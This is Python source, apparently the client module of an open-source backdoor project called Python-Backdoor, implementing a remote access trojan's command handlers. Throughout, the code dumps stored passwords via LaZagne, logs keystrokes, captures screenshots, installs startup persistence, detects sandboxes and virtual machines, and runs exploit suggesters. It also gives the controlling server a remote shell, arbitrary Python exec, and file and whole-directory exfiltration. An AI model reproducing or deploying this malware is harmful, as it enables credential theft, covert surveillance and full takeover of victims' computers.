```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author    xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""
import abc
import copy
import os
import platform
import socket
import subprocess
import sys
import logging
import ctypes
import tempfile
from io import BytesIO, StringIO
from pathlib import PurePath

from src import helper, errors
from src.definitions import platforms
from src.logger import LOGGER_ID

if platforms.OS == platforms.LINUX:
    import Xlib
    from PIL import Image

if platforms.OS in [platforms.DARWIN, platforms.LINUX]:
    from src.client.persistence.unix import Unix as Persistence
else:
    import pyscreeze

    from src.client.persistence.windows import Windows as Persistence
    from wes import main as run_wesng

from src.definitions.commands import *
from src.client.keylogger import Keylogger

from lazagne.config.write_output import write_in_file as lazagne_write_file
from lazagne.config.write_output import StandardOutput as lazagne_SO
from lazagne.config.run import run_lazagne
from lazagne.config.constant import constant as lazagne_constant


class Control(metaclass=abc.ABCMeta):
    def __init__(self, _es):
        self.es = _es
        self.keylogger = Keylogger()
        self.disabled_processes = {}

    @abc.abstractmethod
    def inject_shellcode(self, buffer):
        pass

    @abc.abstractmethod
    def toggle_disable_process(self, process, popup):
        pass

    @abc.abstractmethod
    def lock(self):
        pass
```

```
73      def info(self):
74          _hostname = socket.gethostname()
75          _platform = f"{platform.system()} {platform.release()}"
76
77          info = {"hostname": _hostname, "platform": _platform,
78                  "architecture": platform.architecture(), "machine": platform.machine
                    (),
79                  "processor": platform.processor(),
80                  "x64_python": ctypes.sizeof(ctypes.c_voidp) == 8, "exec_path": os.path
                    .realpath(sys.argv[0])}
81
82          if platforms.OS == platforms.WINDOWS:
83              p = Persistence()
84
85              info["username"] = os.environ["USERNAME"]
86              info["platform"] += " (Sandboxie) " if p.detect_sandboxie() else ""
87              info["platform"] += " (Virtual Machine) " if p.detect_vm() else ""
88              info["is_admin"] = bool(ctypes.windll.shell32.IsUserAnAdmin())
89              info["is_unix"] = False
90          else:
91              info["username"] = os.environ["USER"]
92              info["is_admin"] = bool(os.geteuid() == 0)
93              info["is_unix"] = True
94
95          self.es.send_json(SUCCESS, info)
96
97      def get_vuln(self, exploit_only):
98          if platforms.OS == platforms.DARWIN:
99              self.es.send_json(ERROR, "Mac not supported.")
100             return
101
102         with tempfile.TemporaryDirectory() as tmp_dir:
103             if platforms.OS == platforms.WINDOWS:
104                 _command_str = "systeminfo"
105
106             elif platforms.OS == platforms.LINUX:
107                 path = f"{helper.get_submodule_path('linux-exploit-suggester')
                    }/linux-exploit-suggester.sh"
108                 new_path = f"{tmp_dir}/les.sh"
109
110                 # https://stackoverflow.com/a/58363237
111                 with open(new_path, "w") as new_file:
112                     with open(path, "r") as orig:
113                         for line in orig:
114                             line = line.replace('\r\n', '\n')
115                             new_file.write(line)
116
117                 _command_str = f"chmod +x {new_path} && {new_path}"
118             else:
119                 self.es.send_json(ERROR, "Platform not supported.")
120                 return
121
122             _command = subprocess.Popen(_command_str, stdout=subprocess.PIPE, stderr=
                subprocess.PIPE,
123                                         stdin=subprocess.PIPE, shell=True)
124             output = helper.decode(_command.stdout.read() + _command.stderr.read())
125
126             if platforms.OS == platforms.WINDOWS:
127                 systeminfo_file = f"{tmp_dir}/systeminfo.txt"
128
129                 file = open(systeminfo_file, "w")
130                 file.write(output)
131                 file.close()
132
133
134
135
136
137
138
139
140
```

```
                args = {'perform_update': True,
                        'definitions': 'definitions.zip',
                        'installedpatch': '',
                        'usekbdate': False,
                        'only_exploits': exploit_only,
                        'hiddenvuln': '',
                        'impacts': '',
                        'severities': '',
                        'outputfile': None,  # just read stdout
                        'muc_lookup': False,
                        'operating_system': None,
                        'showcolor': False,
                        'perform_wesupdate': False,
                        'showversion': True,
                        'missingpatches': None,
                        'qfefile': None,
                        'debugsupersedes': '',
                        'verbosesupersedes': False,
                        'systeminfo': systeminfo_file}

                old_stdout = sys.stdout

                # capture stdout for sending back to server
                sys.stdout = stdout = StringIO()

                try:
                    run_wesng(args, tmp_dir)
                except Exception as e:
                    sys.stdout = old_stdout
                    self.es.send_json(ERROR, f"Failed to retrieve: {e}")
                    return

                stdout.seek(0)
                sys.stdout = old_stdout
                rsp = stdout.read()
            else:
                rsp = output

            self.es.sendall_json(SUCCESS, rsp)

    # laZagne password dump
    def password_dump(self, password=None):
        with tempfile.TemporaryDirectory() as tmp:
            # backup original lazagne 'constant'
            orig_const = {}
            for attribute in dir(lazagne_constant):
                if attribute.startswith("__") and attribute.endswith("__"):
                    continue
                orig_const[attribute] = copy.deepcopy(getattr(lazagne_constant,
                attribute))

            lazagne_constant.st = lazagne_SO()
            lazagne_constant.output = 'txt'
            lazagne_constant.folder_name = tmp

            level = logging.getLogger(LOGGER_ID).level

            if level == logging.DEBUG:
                lazagne_constant.quiet_mode = False
            else:
                lazagne_constant.quiet_mode = True

            out = StringIO()
            formatter = logging.Formatter(fmt='%(message)s')
            stream = logging.StreamHandler(out)
            stream.setFormatter(formatter)
            root = logging.getLogger(__name__)
            root.setLevel(level)
```

```
212                 for r in root.handlers:
213                     r.setLevel(logging.CRITICAL)
214                 root.addHandler(stream)
215 
216                 lazagne_constant.st.first_title()
217 
218                 if platforms.OS in [platforms.WINDOWS, platforms.DARWIN]:
219                     lazagne_constant.user_password = password
220 
221                     for _ in run_lazagne(category_selected="all", subcategories={password:
                         password}, password=password):
222                         pass
223                 else:
224                     for _ in run_lazagne(category_selected="all", subcategories={}):
225                         pass
226 
227                 lazagne_write_file(lazagne_constant.stdout_result)
228 
229                 # reset the lazagne 'constant'
230                 for key in orig_const:
231                     setattr(lazagne_constant, key, orig_const[key])
232 
233                 # find file in the tmp dir and send it
234                 for it in os.scandir(tmp):
235                     if not it.is_dir() and it.path.endswith(".txt"):
236                         # send file using helper function
237                         self.upload(it.path)
238                         return
239 
240                 self.es.send_json(ERROR, "Error getting results file.")
241 
242         def add_startup(self, remove=False):
243             p = Persistence()
244 
245             try:
246                 if remove:
247                     p.remove_from_startup()
248                 else:
249                     p.add_startup()
250 
251                 self.es.send_json(SUCCESS)
252             except errors.ClientSocket.Persistence.StartupError as e:
253                 self.es.send_json(ERROR, str(e))
254             except NotImplemented:
255                 self.es.send_json(ERROR, "Command not supported")
256 
257         def heartbeat(self):
258             self.es.send_json(SUCCESS)
259 
260         def close(self):
261             self.es.socket.close()
262             sys.exit(0)
263 
264         def keylogger_dump(self):
265             try:
266                 self.es.sendall_json(SUCCESS, helper.decode(self.keylogger.dump_logs().
                     encode()))
267             except errors.ClientSocket.KeyloggerError as e:
268                 self.es.send_json(ERROR, str(e))
269 
270         def keylogger_start(self):
271             self.keylogger.start()
272 
273         def keylogger_stop(self):
274             try:
275                 self.keylogger.stop()
276                 self.es.send_json(SUCCESS)
277             except errors.ClientSocket.KeyloggerError as e:
278                 self.es.send_json(ERROR, str(e))
279 
280 
281 
```

```
282         def screenshot(self):
283             if platforms.OS == platforms.LINUX:
284                 try:
285                     dsp = Xlib.display.Display()
286 
287                     root = dsp.screen().root
288                     desktop = root.get_geometry()
289                     w = desktop.width
290                     h = desktop.height
291 
292                     raw_byt = root.get_image(0, 0, w, h, Xlib.X.ZPixmap, 0xffffffff)
293                     image = Image.frombuffer("RGB", (w, h), raw_byt.data, "raw", "BGRX")
294 
295                     dsp.close()
296                 except Exception as e:
297                     self.es.send_json(ERROR, str(e))
298                     return
299             else:
300                 image = pyscreeze.screenshot()
301 
302             with BytesIO() as _bytes:
303                 image.save(_bytes, format="PNG")
304                 image_bytes = _bytes.getvalue()
305 
306             self.es.sendall_json(SUCCESS, image_bytes, len(image_bytes), is_bytes=True)
307 
308         def run_command(self, command):
309             _command = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess
                .PIPE, stdin=subprocess.PIPE,
310                                         shell=True)
311             output = _command.stdout.read() + _command.stderr.read()
312 
313             self.es.sendall_json(SUCCESS, helper.decode(output))
314 
315         def command_shell(self):
316             orig_dir = os.getcwd()
317 
318             self.es.send_json(SERVER_SHELL_DIR, orig_dir)
319 
320             while True:
321                 data = self.es.recv_json()
322 
323                 if data["key"] == SERVER_SHELL_CMD:
324                     command_request = data["value"]
325 
326                     # check for windows chdir
327                     if platforms.OS == platforms.WINDOWS and command_request[:5].lower()
                        == "chdir":
328                         command_request = command_request.replace("chdir", "cd", 1)
329 
330                     if command_request[:3].lower() == "cd ":
331                         cwd = ' '.join(command_request.split(" ")[1:])
332 
333 
334 
335 
336 
337 
338 
339 
340 
341 
342 
343 
344 
345 
346 
347 
348 
349 
350 
351 
```

```
352                     try:
353                         command = subprocess.Popen('cd' if platforms.OS == platforms.
                            WINDOWS else 'pwd', cwd=cwd,
354                                                    stdout=subprocess.PIPE, stderr=
                                                       subprocess.PIPE,
355                                                    stdin=subprocess.PIPE, shell=True)
356
357                         except FileNotFoundError as e:
358                             self.es.sendall_json(SERVER_COMMAND_RSP, str(e))
359                         else:
360                             if command.stderr.read().decode() == "":  # if there is no
                                error
361                                 output = (command.stdout.read()).decode().splitlines()[0]
                                    # decode and remove new line
362                                 os.chdir(output)  # change directory
363
364                                 self.es.send_json(SERVER_SHELL_DIR, os.getcwd())
365                             else:
366                                 self.es.send_json(SERVER_COMMAND_RSP, helper.decode(
                                    command.stderr.read()))
367                 else:
368                     command = subprocess.Popen(command_request, stdout=subprocess.PIPE
                        , stderr=subprocess.PIPE,
369                                                stdin=subprocess.PIPE,
370                                                shell=True)
371                     output = command.stdout.read() + command.stderr.read()
372
373                     self.es.sendall_json(SERVER_COMMAND_RSP, helper.decode(output))
374
375             elif data["key"] == SERVER_SHELL_LEAVE:
376                 os.chdir(orig_dir)  # change directory back to original
377                 break
378
379     def download(self, buffer, file_path):
380         output = self.es.recvall(buffer)
381
382         file_path = os.path.normpath(file_path)
383
384         try:
385             with open(file_path, "wb") as file:
386                 file.write(output)
387
388             self.es.send_json(SUCCESS, f"Total bytes received by client: {len(output)
                }")
389         except Exception as e:
390             self.es.send_json(ERROR, f"Could not open file {e}")
391
392     def upload(self, file):
393         file = os.path.normpath(file)
394
395         try:
396             with open(file, "rb") as _file:
397                 data = _file.read()
398
399             self.es.sendall_json(SUCCESS, data, len(data), is_bytes=True)
400         except Exception as e:
401             self.es.send_json(ERROR, f"Error reading file {e}")
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
```

```
417         def upload_dir(self, param):
418             _dir = param['path']
419 
420             max_size = param['size']
421 
422             _dir = os.path.normpath(_dir)
423 
424             if not os.path.isdir(_dir):
425                 self.es.send_json(SERVER_UPLOAD_DIR_DONE, f"Directory does not exist")
426             elif not os.access(_dir, os.R_OK):
427                 self.es.send_json(SERVER_UPLOAD_DIR_DONE, f"Cannot read directory, check
                    permissions")
428             else:
429                 parents = len(PurePath(_dir).parts) - 1
430 
431                 file_total_size = 0
432                 completed_size = 0
433 
434                 # count total file size for determining progress
435                 for subdir, _, files in os.walk(_dir):
436                     for _file in files:
437                         file_size = os.stat(os.path.join(subdir, _file)).st_size
438 
439                         if not (max_size != -1 and file_size > max_size):
440                             file_total_size += file_size
441 
442                 for subdir, _, files in os.walk(_dir):
443                     for _file in files:
444 
445                         file_size = os.stat(os.path.join(subdir, _file)).st_size
446 
447                         if max_size != -1 and file_size > max_size:
448                             continue
449 
450                         _file = os.path.normpath(os.path.join(subdir, _file))
451                         completed_size += os.stat(os.path.join(subdir, _file)).st_size
452 
453                         try:
454                             with open(_file, "rb") as fread:
455                                 data = fread.read()
456                         except Exception:
457                             self.es.send_json(ERROR, f"Could not read file: {_file}")
458                         else:
459                             _path = (os.path.sep).join(_file.split(os.path.sep)[parents +
                                1:])
460 
461                             self.es.sendall_json(SERVER_UPLOAD_DIR, data, {"size": len(
                                data), "path": _path,
462                                 "progress": round(completed_size / file_total_size * 100
                                )}, is_bytes=True)
463 
464                         rsp = self.es.recv_json()
465 
466                         if rsp["key"] == SUCCESS:
467                             continue
468                         else:
469                             return
470 
471                 self.es.send_json(SERVER_UPLOAD_DIR_DONE)
472 
473 
474 
475 
476 
477 
478 
479 
480 
481 
482 
483 
484 
```

```
485         def python_interpreter(self):
486             while True:
487                 command = self.es.recv_json()
488 
489                 if command["key"] == SERVER_PYTHON_INTERPRETER_CMD:
490                     old_stdout = sys.stdout
491                     redirected_output = sys.stdout = StringIO()
492 
493                     try:
494                         exec(command["value"])
495                         print()
496                         error = None
497                     except Exception as e:
498                         error = f"{e.__class__.__name__}: "
499                         try:
500                             error += f"{e.args[0]}"
501                         except Exception:
502                             pass
503                     finally:
504                         sys.stdout = old_stdout
505 
506                     if error:
507                         self.es.sendall_json(SERVER_PYTHON_INTERPRETER_RSP, helper.decode(
                            error.encode()))
508                     else:
509                         self.es.sendall_json(SERVER_PYTHON_INTERPRETER_RSP,
510                                              helper.decode(redirected_output.getvalue().
                                                 encode()))
511                 elif command["key"] == SERVER_PYTHON_INTERPRETER_LEAVE:
512                     break
513 
```